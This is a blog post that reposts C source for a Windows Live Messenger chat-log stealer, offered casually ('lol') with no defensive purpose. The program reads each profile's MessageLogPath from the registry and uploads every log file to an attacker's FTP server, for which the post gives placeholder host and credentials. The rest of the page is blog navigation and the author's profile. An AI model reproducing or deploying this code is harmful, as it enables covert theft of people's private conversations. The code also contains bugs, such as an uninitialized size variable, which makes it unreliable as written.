Windows Live Messenger Ftp Log Stealer

lol, i took the time to make this progy, that steals msn messenger logs and uploads'em to your ftp.



#include <windows.h>
#include <wininet.h>
#include <stdio.h>

bool SendDirectoryToFTP(char *fulldir,char *ftpserver,int port,char *hUser,char *hPass);

int main()
{
int x=0;
char buff[256],
  temp[256],
  *regpath = "Software\\Microsoft\\MSNMessenger\\PerPassportSettings\\";

HKEY hkey,hSub;

if(RegOpenKeyA(HKEY_CURRENT_USER,regpath,&hkey)==ERROR_SUCCESS)
{

 while(RegEnumKeyA(hkey,x,buff,sizeof buff)==ERROR_SUCCESS)
 {
  memset(temp,0,sizeof temp);
  sprintf(temp,"%s%s",regpath,buff);
  memset(buff,0,sizeof buff);
         if(RegOpenKeyExA(HKEY_CURRENT_USER,temp,0,KEY_QUERY_VALUE,&hSub)==ERROR_SUCCESS)
         {

         DWORD nType = REG_SZ,nSize;
         if(RegQueryValueExA(hSub,"MessageLogPath",0,&nType,(LPBYTE)buff,&nSize)==ERROR_SUCCESS) {

          if(SendDirectoryToFTP(buff,"YOURFTP.com",21,"YourFTPUsername","YourFtpPassword"))
            puts("Files sucessfully uploaded.");
          else puts("Error uploading the directory to your FTP. Wrong username/password ?");

         RegCloseKey(hSub);
         }
         }
  x++;
  memset(buff,0,sizeof buff);
 } x=0;

RegCloseKey(hkey);
} else puts("Windows Live Messenger not installed.");

getchar();

}

bool SendDirectoryToFTP(char *fulldir,char *ftpserver,int port,char *hUser,char *hPass)
{
HINTERNET hInet,hCon;
hInet = InternetOpen("fUploader",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
if(!hInet) return 0; // Neki error, whatever...

 char dir[strlen(fulldir)+1],
   tempf[strlen(fulldir)+1];
 
 sprintf(dir,"%s\\*",fulldir);

 WIN32_FIND_DATA fd;
 HANDLE h = FindFirstFileA(dir,&fd);

  if(FindNextFile(h,&fd)) {
  
    hCon = InternetConnectA(hInet,ftpserver,port,hUser,hPass,INTERNET_SERVICE_FTP,0,0);
     if(hCon) {
          while(FindNextFileA(h,&fd)) {
                  
                sprintf(tempf,"%s\\%s",fulldir,fd.cFileName);
                puts(tempf);

                if(hCon)
                  if(!FtpPutFileA(hCon,tempf,fd.cFileName,FTP_TRANSFER_TYPE_ASCII,0))
                                   return false;
               
          }
     } else return false;
  } else return false; // Directory doesn't exist.
  InternetCloseHandle(hInet);
  InternetCloseHandle(hCon);
 return true; // Directory exist.

}

posted on 2011-03-08 21:58 挑灯看剑 阅读(240) 评论(0)  编辑 收藏 引用 所属分类: C/C++

只有注册用户登录后才能发表评论。
<2011年3月>
272812345
6789101112
13141516171819
20212223242526
272829303112
3456789

导航

公告

【自我介绍】 08年南开大学硕士毕业 最近关注:算法、Linux、c++、高并发 爱好:滑旱冰、打乒乓球、台球、保龄球

常用链接

随笔分类(139)

文章分类

我常去的网站

技术博客(都是大牛)

技术站点

搜索

积分与排名